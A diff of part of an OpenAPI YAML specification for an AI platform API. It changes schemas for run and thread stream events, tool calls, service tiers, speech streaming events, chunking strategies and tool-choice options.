+ description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) is created.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.step.in_progress
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunStepObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) moves to an `in_progress` state.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.step.delta
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunStepDeltaObject'
+ required:
+ - event
+ - data
+ description: Occurs when parts of a [run step](https://developers.openai.com/api/docs/assistants/migration) are being streamed.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run step delta](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.step.completed
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunStepObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) is completed.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.step.failed
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunStepObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) fails.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.step.cancelled
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunStepObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) is cancelled.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.step.expired
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunStepObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) expires.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
+ discriminator:
+ propertyName: event
+ RunStreamEvent:
+ anyOf:
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.created
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunObject'
+ required:
+ - event
+ - data
+ description: Occurs when a new [run](https://developers.openai.com/api/docs/assistants/migration) is created.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.queued
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to a `queued` status.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.in_progress
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to an `in_progress` status.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.requires_action
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to a `requires_action` status.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.completed
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) is completed.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.incomplete
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) ends with status `incomplete`.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.failed
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) fails.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.cancelling
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to a `cancelling` status.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.cancelled
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) is cancelled.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
+ - type: object
+ properties:
+ event:
+ type: string
+ enum:
+ - thread.run.expired
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/RunObject'
+ required:
+ - event
+ - data
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) expires.
+ x-oaiMeta:
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
+ discriminator:
+ propertyName: event
+ RunToolCallObject:
type: object
- description: Emitted when a file search call is completed (results found).
+ description: Tool call objects
properties:
- type:
- type: string
- description: |
- The type of the event. Always `response.file_search_call.completed`.
- enum:
- - response.file_search_call.completed
- x-stainless-const: true
- output_index:
- type: integer
- description: |
- The index of the output item that the file search call is initiated.
- item_id:
- type: string
- description: |
- The ID of the output item that the file search call is initiated.
- sequence_number:
- type: integer
- description: The sequence number of this event.
+ id:
+ type: string
+ description: The ID of the tool call. This ID must be referenced when you submit the tool outputs in using the [Submit tool outputs to run](https://developers.openai.com/api/docs/assistants/migration) endpoint.
+ type:
+ type: string
+ description: The type of tool call the output is required for. For now, this is always `function`.
+ enum:
+ - function
+ x-stainless-const: true
+ function:
+ type: object
+ description: The function definition.
+ properties:
+ name:
+ type: string
+ description: The name of the function.
+ arguments:
+ type: string
+ description: The arguments that the model expects you to pass to the function.
+ required:
+ - name
+ - arguments
required:
+ - id
- type
- - output_index
- - item_id
- - sequence_number
- x-oaiMeta:
- name: response.file_search_call.completed
- group: responses
- example: |
- {
- "type": "response.file_search_call.completed",
- "output_index": 0,
- "item_id": "fs_123",
- "sequence_number": 1
- }
- ResponseFileSearchCallInProgressEvent:
+ - function
+ ServiceTier:
+ anyOf:
+ - type: string
+ description: |
+ Specifies the processing type used for serving the request.
+ - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'.
+ - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model.
+ - If set to '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier.
+ - To opt-in to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request.
+ - When not set, the default behavior is 'auto'.
+
+ When the `service_tier` parameter is set, the response body will include the `service_tier` value based on the processing mode actually used to serve the request. This response value may be different from the value set in the parameter.
+ enum:
+ - auto
+ - default
+ - flex
+ - scale
+ - priority
+ - fast
+ default: auto
+ - type: 'null'
+ ServiceTierResponses:
+ anyOf:
+ - type: string
+ description: |
+ Specifies the processing type used for serving the request.
+ - If set to 'auto', then the request will be processed with the service tier configured in the Project settings. Unless otherwise configured, the Project will use 'default'.
+ - If set to 'default', then the request will be processed with the standard pricing and performance for the selected model.
+ - If set to '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then the request will be processed with the Flex Processing service tier.
+ - To opt-in to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the request level, include the `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat Completions. The response will show `service_tier=priority` regardless of if you specify `service_tier=fast` or `priority` in your request.
+ - If set to 'ultrafast', then the request will be processed with the access-controlled Ultrafast Processing service tier. This tier is currently available for `gpt-5.6-sol`; a response served through it will show `service_tier=ultrafast`.
+ - When not set, the default behavior is 'auto'.
+
+ When the `service_tier` parameter is set, the response body will include the `service_tier` value based on the processing mode actually used to serve the request. This response value may be different from the value set in the parameter.
+ enum:
+ - auto
+ - default
+ - flex
+ - scale
+ - priority
+ - fast
+ - ultrafast
+ default: auto
+ - type: 'null'
+ SpeechAudioDeltaEvent:
type: object
- description: Emitted when a file search call is initiated.
+ description: Emitted for each chunk of audio data generated during speech synthesis.
properties:
type:
type: string
description: |
- The type of the event. Always `response.file_search_call.in_progress`.
+ The type of the event. Always `speech.audio.delta`.
enum:
- - response.file_search_call.in_progress
+ - speech.audio.delta
x-stainless-const: true
- output_index:
- type: integer
- description: |
- The index of the output item that the file search call is initiated.
- item_id:
+ audio:
type: string
description: |
- The ID of the output item that the file search call is initiated.
- sequence_number:
- type: integer
- description: The sequence number of this event.
+ A chunk of Base64-encoded audio data.
required:
- type
- - output_index
- - item_id
- - sequence_number
+ - audio
x-oaiMeta:
- name: response.file_search_call.in_progress
- group: responses
+ name: Stream Event (speech.audio.delta)
+ group: speech
example: |
{
- "type": "response.file_search_call.in_progress",
- "output_index": 0,
- "item_id": "fs_123",
- "sequence_number": 1
+ "type": "speech.audio.delta",
+ "audio": "base64-encoded-audio-data"
}
- ResponseFileSearchCallSearchingEvent:
+ SpeechAudioDoneEvent:
type: object
- description: Emitted when a file search is currently searching.
+ description: Emitted when the speech synthesis is complete and all audio has been streamed.
properties:
type:
type: string
description: |
- The type of the event. Always `response.file_search_call.searching`.
+ The type of the event. Always `speech.audio.done`.
enum:
- - response.file_search_call.searching
+ - speech.audio.done
x-stainless-const: true
- output_index:
- type: integer
- description: |
- The index of the output item that the file search call is searching.
- item_id:
- type: string
+ usage:
+ type: object
description: |
- The ID of the output item that the file search call is initiated.
- sequence_number:
- type: integer
- description: The sequence number of this event.
+ Token usage statistics for the request.
+ properties:
+ input_tokens:
+ type: integer
+ description: Number of input tokens in the prompt.
+ output_tokens:
+ type: integer
+ description: Number of output tokens generated.
+ total_tokens:
+ type: integer
+ description: Total number of tokens used (input + output).
+ required:
+ - input_tokens
+ - output_tokens
+ - total_tokens
required:
- type
- - output_index
- - item_id
- - sequence_number
+ - usage
x-oaiMeta:
- name: response.file_search_call.searching
- group: responses
+ name: Stream Event (speech.audio.done)
+ group: speech
example: |
{
- "type": "response.file_search_call.searching",
- "output_index": 0,
- "item_id": "fs_123",
- "sequence_number": 1
+ "type": "speech.audio.done",
+ "usage": {
+ "input_tokens": 14,
+ "output_tokens": 101,
+ "total_tokens": 115
+ }
}
- ResponseFormatJsonObject:
+ SpendAlertNotificationChannel:
type: object
- title: JSON object
- description: |
- JSON object response format. An older method of generating JSON responses.
- Using `json_schema` is recommended for models that support it. Note that the
- model will not generate JSON without a system or user message instructing it
- to do so.
+ description: Email notification settings for a spend alert.
properties:
type:
type: string
- description: The type of response format being defined. Always `json_object`.
enum:
- - json_object
+ - email
+ description: The notification channel type. Currently only `email` is supported.
x-stainless-const: true
+ recipients:
+ type: array
+ description: Email addresses that receive the spend alert notification.
+ items:
+ type: string
+ subject_prefix:
+ anyOf:
+ - type: string
+ - type: 'null'
+ description: Optional subject prefix for alert emails.
required:
- type
- ResponseFormatJsonSchema:
+ - recipients
+ StaticChunkingStrategy:
type: object
- title: JSON schema
- description: |
- JSON Schema response format. Used to generate structured JSON responses.
- Learn more about [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs).
+ additionalProperties: false
properties:
- type:
- type: string
- description: The type of response format being defined. Always `json_schema`.
- enum:
- - json_schema
- x-stainless-const: true
- json_schema:
- type: object
- title: JSON schema
+ max_chunk_size_tokens:
+ type: integer
+ minimum: 100
+ maximum: 4096
+ description: The maximum number of tokens in each chunk. The default value is `800`. The minimum value is `100` and the maximum value is `4096`.
+ chunk_overlap_tokens:
+ type: integer
description: |
- Structured Outputs configuration options, including a JSON Schema.
- properties:
- description:
- type: string
- description: |
- A description of what the response format is for, used by the model to
- determine how to respond in the format.
- name:
- type: string
- description: |
- The name of the response format. Must be a-z, A-Z, 0-9, or contain
- underscores and dashes, with a maximum length of 64.
- schema:
- $ref: '#/components/schemas/ResponseFormatJsonSchemaSchema'
- strict:
- anyOf:
- - type: boolean
- default: false
- description: |
- Whether to enable strict schema adherence when generating the output.
- If set to true, the model will always follow the exact schema defined
- in the `schema` field. Only a subset of JSON Schema is supported when
- `strict` is `true`. To learn more, read the [Structured Outputs
- guide](https://developers.openai.com/api/docs/guides/structured-outputs).
- - type: 'null'
- required:
- - name
+ The number of tokens that overlap between chunks. The default value is `400`.
+
+ Note that the overlap must not exceed half of `max_chunk_size_tokens`.
required:
- - type
- - json_schema
- ResponseFormatJsonSchemaSchema:
- type: object
- title: JSON schema
- description: |
- The schema for the response format, described as a JSON Schema object.
- Learn how to build JSON schemas [here](https://json-schema.org/).
- additionalProperties: true
- ResponseFormatText:
+ - max_chunk_size_tokens
+ - chunk_overlap_tokens
+ StaticChunkingStrategyRequestParam:
type: object
- title: Text
- description: |
- Default response format. Used to generate text responses.
+ title: Static Chunking Strategy
+ description: Customize your own chunking strategy by setting chunk size and chunk overlap.
+ additionalProperties: false
properties:
type:
type: string
- description: The type of response format being defined. Always `text`.
+ description: Always `static`.
enum:
- - text
+ - static
x-stainless-const: true
+ static:
+ $ref: '#/components/schemas/StaticChunkingStrategy'
required:
- type
- ResponseFormatTextGrammar:
+ - static
+ StaticChunkingStrategyResponseParam:
type: object
- title: Text grammar
- description: |
- A custom grammar for the model to follow when generating text.
- Learn more in the [custom grammars guide](https://developers.openai.com/api/docs/guides/function-calling#context-free-grammars).
+ title: Static Chunking Strategy
+ additionalProperties: false
properties:
type:
type: string
- description: The type of response format being defined. Always `grammar`.
+ description: Always `static`.
enum:
- - grammar
+ - static
x-stainless-const: true
- grammar:
- type: string
- description: The custom grammar for the model to follow.
+ static:
+ $ref: '#/components/schemas/StaticChunkingStrategy'
required:
- type
- - grammar
- ResponseFormatTextPython:
- type: object
- title: Python grammar
+ - static
+ StopConfiguration:
description: |
- Configure the model to generate valid Python code. See the
- [custom grammars guide](https://developers.openai.com/api/docs/guides/function-calling#context-free-grammars) for more details.
- properties:
- type:
+ Not supported with latest reasoning models `o3` and `o4-mini`.
+
+ Up to 4 sequences where the API will stop generating further tokens. The
+ returned text will not contain the stop sequence.
+ anyOf:
+ - type: string
+ default: <|endoftext|>
+ example: |2+
+
+ nullable: true
+ - type: array
+ minItems: 1
+ maxItems: 4
+ items:
type: string
- description: The type of response format being defined. Always `python`.
- enum:
- - python
- x-stainless-const: true
+ example: '["\n"]'
+ nullable: true
+ SubmitToolOutputsRunRequest:
+ type: object
+ additionalProperties: false
+ properties:
+ tool_outputs:
+ description: A list of tools for which the outputs are being submitted.
+ type: array
+ items:
+ type: object
+ properties:
+ tool_call_id:
+ type: string
+ description: The ID of the tool call in the `required_action` object within the run object the output is being submitted for.
+ output:
+ type: string
+ description: The output of the tool call to be submitted to continue the run.
+ stream:
+ anyOf:
+ - type: boolean
+ description: |
+ If `true`, returns a stream of events that happen during the Run as server-sent events, terminating when the Run enters a terminal state with a `data: [DONE]` message.
+ - type: 'null'
required:
- - type
- ResponseFunctionCallArgumentsDeltaEvent:
+ - tool_outputs
+ TextResponseFormatConfiguration:
+ description: |
+ An object specifying the format that the model must output.
+
+ Configuring `{ "type": "json_schema" }` enables Structured Outputs,
+ which ensures the model will match your supplied JSON schema. Learn more in the
+ [Structured Outputs guide](https://developers.openai.com/api/docs/guides/structured-outputs).
+
+ The default format is `{ "type": "text" }` with no additional options.
+
+ **Not recommended for gpt-4o and newer models:**
+
+ Setting to `{ "type": "json_object" }` enables the older JSON mode, which
+ ensures the message the model generates is valid JSON. Using `json_schema`
+ is preferred for models that support it.
+ anyOf:
+ - $ref: '#/components/schemas/ResponseFormatText'
+ - $ref: '#/components/schemas/TextResponseFormatJsonSchema'
+ - $ref: '#/components/schemas/ResponseFormatJsonObject'
+ discriminator:
+ propertyName: type
+ TextResponseFormatJsonSchema:
type: object
- description: Emitted when there is a partial function-call arguments delta.
+ title: JSON schema
+ description: |
+ JSON Schema response format. Used to generate structured JSON responses.
+ Learn more about [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs).
properties:
type:
type: string
- description: |
- The type of the event. Always `response.function_call_arguments.delta`.
+ description: The type of response format being defined. Always `json_schema`.
enum:
- - response.function_call_arguments.delta
+ - json_schema
x-stainless-const: true
- item_id:
+ description:
type: string
description: |
- The ID of the output item that the function-call arguments delta is added to.
- output_index:
- type: integer
- description: |
- The index of the output item that the function-call arguments delta is added to.
- sequence_number:
- type: integer
- description: The sequence number of this event.
- delta:
+ A description of what the response format is for, used by the model to
+ determine how to respond in the format.
+ name:
type: string
description: |
- The function-call arguments delta that is added.
+ The name of the response format. Must be a-z, A-Z, 0-9, or contain
+ underscores and dashes, with a maximum length of 64.
+ schema:
+ $ref: '#/components/schemas/ResponseFormatJsonSchemaSchema'
+ strict:
+ anyOf:
+ - type: boolean
+ default: false
+ description: |
+ Whether to enable strict schema adherence when generating the output.
+ If set to true, the model will always follow the exact schema defined
+ in the `schema` field. Only a subset of JSON Schema is supported when
+ `strict` is `true`. To learn more, read the [Structured Outputs
+ guide](https://developers.openai.com/api/docs/guides/structured-outputs).
+ - type: 'null'
required:
- type
- - item_id
- - output_index
- - delta
- - sequence_number
- x-oaiMeta:
- name: response.function_call_arguments.delta
- group: responses
- example: |
- {
- "type": "response.function_call_arguments.delta",
- "item_id": "item-abc",
- "output_index": 0,
- "delta": "{ \"arg\":"
- "sequence_number": 1
- }
- ResponseFunctionCallArgumentsDoneEvent:
+ - schema
+ - name
+ ThreadObject:
type: object
- description: Emitted when function-call arguments are finalized.
+ title: Thread
+ description: Represents a thread that contains [messages](https://developers.openai.com/api/docs/assistants/migration).
properties:
- type:
+ id:
+ description: The identifier, which can be referenced in API endpoints.
+ type: string
+ object:
+ description: The object type, which is always `thread`.
type: string
enum:
- - response.function_call_arguments.done
+ - thread
x-stainless-const: true
- item_id:
- type: string
- description: The ID of the item.
- output_index:
- type: integer
- description: The index of the output item.
- sequence_number:
+ created_at:
+ description: The Unix timestamp (in seconds) for when the thread was created.
type: integer
- description: The sequence number of this event.
- arguments:
- type: string
- description: The function-call arguments.
+ format: unixtime
+ tool_resources:
+ anyOf:
+ - type: object
+ description: |
+ A set of resources that are made available to the assistant's tools in this thread. The resources are specific to the type of tool. For example, the `code_interpreter` tool requires a list of file IDs, while the `file_search` tool requires a list of vector store IDs.
+ properties:
+ code_interpreter:
+ type: object
+ properties:
+ file_ids:
+ type: array
+ description: |
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
+ default: []
+ maxItems: 20
+ items:
+ type: string
+ file_search:
+ type: object
+ properties:
+ vector_store_ids:
+ type: array
+ description: |
+ The [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this thread. There can be a maximum of 1 vector store attached to the thread.
+ maxItems: 1
+ items:
+ type: string
+ - type: 'null'
+ metadata:
+ $ref: '#/components/schemas/Metadata'
+ required:
+ - id
+ - object
+ - created_at
+ - tool_resources
+ - metadata
+ x-oaiMeta:
+ name: The thread object
+ beta: true
+ example: |
+ {
+ "id": "thread_abc123",
+ "object": "thread",
+ "created_at": 1698107661,
+ "metadata": {}
+ }
+ ThreadStreamEvent:
+ anyOf:
+ - type: object
+ properties:
+ enabled:
+ type: boolean
+ description: Whether to enable input audio transcription.
+ event:
+ type: string
+ enum:
+ - thread.created
+ x-stainless-const: true
+ data:
+ $ref: '#/components/schemas/ThreadObject'
+ required:
+ - event
+ - data
+ description: Occurs when a new [thread](https://developers.openai.com/api/docs/assistants/migration) is created.
+ x-oaiMeta:
+ dataDescription: '`data` is a [thread](https://developers.openai.com/api/docs/assistants/migration)'
+ discriminator:
+ propertyName: event
+ ToggleCertificatesRequest:
+ type: object
+ properties:
+ certificate_ids:
+ type: array
+ items:
+ type: string
+ example: cert_abc
+ minItems: 1
+ maxItems: 10
required:
- - type
- - item_id
- - output_index
- - arguments
- - sequence_number
- x-oaiMeta:
- name: response.function_call_arguments.done
- group: responses
- example: |
- {
- "type": "response.function_call_arguments.done",
- "item_id": "item-abc",
- "output_index": 1,
- "arguments": "{ \"arg\": 123 }",
- "sequence_number": 1
- }
- ResponseImageGenCallCompletedEvent:
+ - certificate_ids
+ Tool:
+ description: |
+ A tool that can be used to generate a response.
+ discriminator:
+ propertyName: type
+ anyOf:
+ - $ref: '#/components/schemas/FunctionTool'
+ - $ref: '#/components/schemas/FileSearchTool'
+ - $ref: '#/components/schemas/ComputerTool'
+ - $ref: '#/components/schemas/ComputerUsePreviewTool'
+ - $ref: '#/components/schemas/WebSearchTool'
+ - $ref: '#/components/schemas/MCPTool'
+ - $ref: '#/components/schemas/CodeInterpreterTool'
+ - $ref: '#/components/schemas/ProgrammaticToolCallingParam'
+ - $ref: '#/components/schemas/ImageGenTool'
+ - $ref: '#/components/schemas/LocalShellToolParam'
+ - $ref: '#/components/schemas/FunctionShellToolParam'
+ - $ref: '#/components/schemas/CustomToolParam'
+ - $ref: '#/components/schemas/NamespaceToolParam'
+ - $ref: '#/components/schemas/ToolSearchToolParam'
+ - $ref: '#/components/schemas/WebSearchPreviewTool'
+ - $ref: '#/components/schemas/ApplyPatchToolParam'
+ ToolChoiceAllowed:
type: object
- title: ResponseImageGenCallCompletedEvent
+ title: Allowed tools
description: |
- Emitted when an image generation tool call has completed and the final image is available.
+ Constrains the tools available to the model to a pre-defined set.
properties:
type:
type: string
enum:
- - response.image_generation_call.completed
- description: The type of the event. Always 'response.image_generation_call.completed'.
+ - allowed_tools
+ description: Allowed tool configuration type. Always `allowed_tools`.
x-stainless-const: true
- output_index:
- type: integer
- description: The index of the output item in the response's output array.
- sequence_number:
- type: integer
- description: The sequence number of this event.
- item_id:
+ mode:
type: string
- description: The unique identifier of the image generation item being processed.
+ enum:
+ - auto
+ - required
+ description: |
+ Constrains the tools available to the model to a pre-defined set.
+
+ `auto` allows the model to pick from among the allowed tools and generate a
+ message.
+
+ `required` requires the model to call one or more of the allowed tools.
+ tools:
+ type: array
+ description: |
+ A list of tool definitions that the model should be allowed to call.
+
+ For the Responses API, the list of tool definitions might look like:
+ ```json
+ [
+ { "type": "function", "name": "get_weather" },
+ { "type": "mcp", "server_label": "deepwiki" },
+ { "type": "image_generation" }
+ ]
+ ```
+ items:
+ type: object
+ description: |
+ A tool definition that the model should be allowed to call.
+ additionalProperties: true
+ x-oaiExpandable: false
required:
- type
- - output_index
- - item_id
- - sequence_number
- x-oaiMeta:
- name: response.image_generation_call.completed
- group: responses
- example: |
- {
- "type": "response.image_generation_call.completed",
- "output_index": 0,
- "item_id": "item-123",
- "sequence_number": 1
- }
- ResponseImageGenCallGeneratingEvent:
+ - mode
+ - tools
+ ToolChoiceCustom:
type: object
- title: ResponseImageGenCallGeneratingEvent
+ title: Custom tool
description: |
- Emitted when an image generation tool call is actively generating an image (intermediate state).
+ Use this option to force the model to call a specific custom tool.
properties:
type:
type: string
enum:
- - response.image_generation_call.generating
- description: The type of the event. Always 'response.image_generation_call.generating'.
+ - custom
+ description: For custom tool calling, the type is always `custom`.
x-stainless-const: true
- output_index:
- type: integer
- description: The index of the output item in the response's output array.
- item_id:
+ name:
type: string
- description: The unique identifier of the image generation item being processed.
- sequence_number:
- type: integer
- description: The sequence number of the image generation item being processed.
+ description: The name of the custom tool to call.
required:
- type
- - output_index
- - item_id
- - sequence_number
- x-oaiMeta:
- name: response.image_generation_call.generating
- group: responses
- example: |
- {
- "type": "response.image_generation_call.generating",
- "output_index": 0,
- "item_id": "item-123",
- "sequence_number": 0
- }
- ResponseImageGenCallInProgressEvent:
+ - name
+ ToolChoiceFunction:
type: object
- title: ResponseImageGenCallInProgressEvent
+ title: Function tool
description: |
- Emitted when an image generation tool call is in progress.
+ Use this option to force the model to call a specific function.
properties:
type:
type: string
enum:
- - response.image_generation_call.in_progress
- description: The type of the event. Always 'response.image_generation_call.in_progress'.
+ - function
+ description: For function calling, the type is always `function`.
x-stainless-const: true
- output_index:
- type: integer
- description: The index of the output item in the response's output array.
- item_id:
+ name:
type: string
- description: The unique identifier of the image generation item being processed.
- sequence_number:
- type: integer
- description: The sequence number of the image generation item being processed.
+ description: The name of the function to call.
required:
- type
- - output_index
- - item_id
- - sequence_number
- x-oaiMeta:
- name: response.image_generation_call.in_progress
- group: responses
- example: |
- {
- "type": "response.image_generation_call.in_progress",
- "output_index": 0,
- "item_id": "item-123",
- "sequence_number": 0
- }
- ResponseImageGenCallPartialImageEvent:
+ - name
+ ToolChoiceMCP:
type: object
- title: ResponseImageGenCallPartialImageEvent
+ title: MCP tool
description: |
- Emitted when a partial image is available during image generation streaming.
+ Use this option to force the model to call a specific tool on a remote MCP server.
properties:
type:
type: string
enum:
- - response.image_generation_call.partial_image
- description: The type of the event. Always 'response.image_generation_call.partial_image'.
+ - mcp
+ description: For MCP tools, the type is always `mcp`.
x-stainless-const: true
- output_index:
- type: integer
- description: The index of the output item in the response's output array.
- item_id:
- type: string
- description: The unique identifier of the image generation item being processed.
- sequence_number:
- type: integer
- description: The sequence number of the image generation item being processed.
- partial_image_index:
- type: integer
- description: 0-based index for the partial image (backend is 1-based, but this is 0-based for the user).
- partial_image_b64:
- type: string
- description: Base64-encoded partial image data, suitable for rendering as an image.
- size:
- type: string
- description: The image size that was used.
- quality:
- type: string
- description: The image quality that was used.
- background:
- type: string
- description: The background setting that was used.
- output_format:
+ server_label:
type: string
- description: The output format that was used.
+ description: |
+ The label of the MCP server to use.
+ name:
+ anyOf:
+ - type: string
+ description: |
+ The name of the tool to call on the server.
+ - type: 'null'
required:
- type
- - output_index
- - item_id
- - sequence_number
- - partial_image_index
- - partial_image_b64
- x-oaiMeta:
- name: response.image_generation_call.partial_image
- group: responses
- example: |
- {
- "type": "response.image_generation_call.partial_image",
- "output_index": 0,
- "item_id": "item-123",
- "sequence_number": 0,
- "partial_image_index": 0,
- "partial_image_b64": "..."
- }
- ResponseInProgressEvent:
+ - server_label
+ ToolChoiceOptions:
+ type: string
+ title: Tool choice mode
+ description: |
+ Controls which (if any) tool is called by the model.
+
+ `none` means the model will not call any tool and instead generates a message.
+
+ `auto` means the model can pick between generating a message or calling one or
+ more tools.
+
+ `required` means the model must call one or more tools.
+ enum:
+ - none
+ - auto
+ - required
+ ToolChoiceParam:
+ description: |
+ How the model should select which tool (or tools) to use when generating
+ a response. See the `tools` parameter to see how to specify which tools
+ the model can call.
+ anyOf:
+ - $ref: '#/components/schemas/ToolChoiceOptions'
+ - $ref: '#/components/schemas/ToolChoiceAllowed'
+ - $ref: '#/components/schemas/ToolChoiceTypes'
+ - $ref: '#/components/schemas/ToolChoiceFunction'
+ - $ref: '#/components/schemas/ToolChoiceMCP'
+ - $ref: '#/components/schemas/ToolChoiceCustom'
+ - $ref: '#/components/schemas/SpecificProgrammaticToolCallingParam'
+ - $ref: '#/components/schemas/SpecificApplyPatchParam'
+ - $ref: '#/components/schemas/SpecificFunctionShellParam'
+ discriminator:
+ propertyName: type
+ ToolChoiceTypes:
type: object
- description: Emitted when the response is in progress.
+ title: Hosted tool
+ description: |
+ Indicates that the model should use a built-in tool to generate a response.
+ [Learn more about built-in tools](https://developers.openai.com/api/docs/guides/tools).
properties:
type:
type: string
description: |
- The type of the event. Always `response.in_progress`.
+ The type of hosted tool the model should to use. Learn more about
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
+
+ Allowed values are:
+ - `file_search`
+ - `web_search_preview`
+ - `computer`
+ - `computer_use_preview`
+ - `computer_use`
+ - `code_interpreter`
+ - `image_generation`
enum:
- - response.in_progress
- x-stainless-const: true
- response:
- $ref: '#/components/schemas/Response'
- description: |
- The response that is in progress.
- sequence_number:
- type: integer
- description: The sequence number of this event.
+ - file_search
+ - web_search_preview
+ - computer
+ - computer_use_preview
+ - computer_use
+ - web_search_preview_2025_03_11
+ - image_generation
+ - code_interpreter
required:
- type
- - response
- - sequence_number
- x-oaiMeta:
- name: response.in_progress
- group: responses
- example: |
- {
- "type": "response.in_progress",
- "response": {
- "id": "resp_67ccfcdd16748190a91872c75d38539e09e4d4aac714747c",
- "object": "response",
- "created_at": 1741487325,
- "status": "in_progress",
- "completed_at": null,
- "error": null,
- "incomplete_details": null,
- "instructions": null,
- "max_output_tokens": null,
